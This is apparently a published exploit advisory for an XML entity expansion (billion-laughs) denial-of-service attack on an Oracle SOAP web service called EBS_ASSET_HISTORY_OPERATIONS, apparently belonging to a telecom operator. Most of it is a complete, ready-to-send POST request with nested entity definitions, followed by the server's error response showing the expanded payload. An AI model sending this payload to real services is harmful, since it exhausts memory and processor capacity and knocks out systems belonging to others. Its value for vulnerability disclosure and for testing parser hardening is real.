Oracle CTI Web Service XML Injection

`# Exploit Title: Oracle CTI Web Service XML Entity Exp.  
# Exploit Author: omurugur  
# Author Web: https://www.justsecnow.com  
# Author Social: @omurugurrr  
  
URL : http://10.248.68.188/EBS_ASSET_HISTORY_OPERATIONS  
  
  
  
As can be seen in the following request / response example, the xml entity expansion attack can be performed, and this attack can send requests that exceed the existing memory and processor capacities, causing memory bottlenecks and preventing the service from running.  
  
10kb more request is returned.  
Examples Request;  
  
  
  
POST /EBS_ASSET_HISTORY_OPERATIONS HTTP/1.1  
  
Accept-Encoding: gzip, deflate  
  
Content-Type: text/xml;charset=UTF-8  
  
SOAPAction: "getCampaignHistory"  
  
Content-Length: 1696  
  
Host: ****  
  
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)  
  
Connection: close  
  
  
<!DOCTYPE foo [<!ENTITY ha "Ha !"> <!ENTITY ha2 "&ha; &ha; &ha; &ha; &ha; &ha; &ha; &ha;"> <!ENTITY ha3 "&ha2; &ha2; &ha2; &ha2; &ha2; &ha2; &ha2; &ha2;"> <!ENTITY ha4 "&ha3; &ha3; &ha3; &ha3; &ha3; &ha3; &ha3; &ha3;"> <!ENTITY ha5 "&ha4; &ha4; &ha4; &ha4; &ha4; &ha4; &ha4; &ha4;"> <!ENTITY ha6 "&ha5; &ha5; &ha5; &ha5; &ha5; &ha5; &ha5; &ha5;"> ]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ebs="http://www.avea.com.tr/om/EBS_ASSET_HISTORY_OPERATIONS" xmlns:ave="http://www.avea.com.tr/AveaFrameWo&ha6;rk">  
  
<soapenv:Header/>  
  
<soapenv:Body>  
  
<ebs:EbsRetrieveWebChatHistoryRequest>  
  
<ave:RequestHeader>  
  
<ave:RequestId>  
  
<ave:GUID>152069827209115206982720</ave:GUID>  
  
</ave:RequestId>  
  
<ave:CallingSystem>SIEBEL</ave:CallingSystem>  
  
<ave:BusinessProcessId>retrieveWebChatHistory</ave:BusinessProcessId>  
  
</ave:RequestHeader>  
  
<ebs:RequestBody>  
  
<ebs:msisdn>5051234567</ebs:msisdn>  
  
</ebs:RequestBody>  
  
</ebs:EbsRetrieveWebChatHistoryRequest>  
  
</soapenv:Body>  
  
</soapenv:Envelope>  
  
  
Example Response1;  
  
  
HTTP/1.1 500 Internal Server Error  
  
Date: Tue, 17 Apr 2018 06:33:07 GMT  
  
Content-Type: text/xml; charset=utf-8  
  
X-ORACLE-DMS-ECID: c55d8ba7-c405-4117-8a70-8b37f745e8f0-0000b9df  
  
X-ORACLE-DMS-RID: 0  
  
Connection: close  
  
Content-Length: 328676  
  
  
  
<?xml version="1.0" encoding="UTF-8"?>  
  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header xmlns:ave="http://www.avea.com.tr/AveaFrameWoHa ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha  
  
! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha !rk" xmlns:ebs="http://www.avea.com.tr/om/EBS_ASSET_HISTORY_OPERATIONS"><soapenv:Fault><faultcode>soapenv:Server.SYS000000</faultcode><faultstring>Undefined Avea Service Bus Error</faultstring><detail><faul:ExceptionSchema xmlns:faul="http://www.avea.com.tr/Fault"><faul:UUID>MW-4b9f61d0-7792-4e54-a694-b9ef8c407b7e</faul:UUID><faul:Exception><faul:system>SYSTEM</faul:system><faul:code>OSB-382510</faul:code><faul:message>SYS000000:Undefined Avea Service Bus Error</faul:message><faul:stackTrace>PipelinePairNodePipelinePairNode_requestDynamic Validationrequest-pipelinetrue</faul:stackTrace></faul:Exception></faul:ExceptionSchema></detail></soapenv:Fault></soapenv:Body></soapenv:Envelope>  
`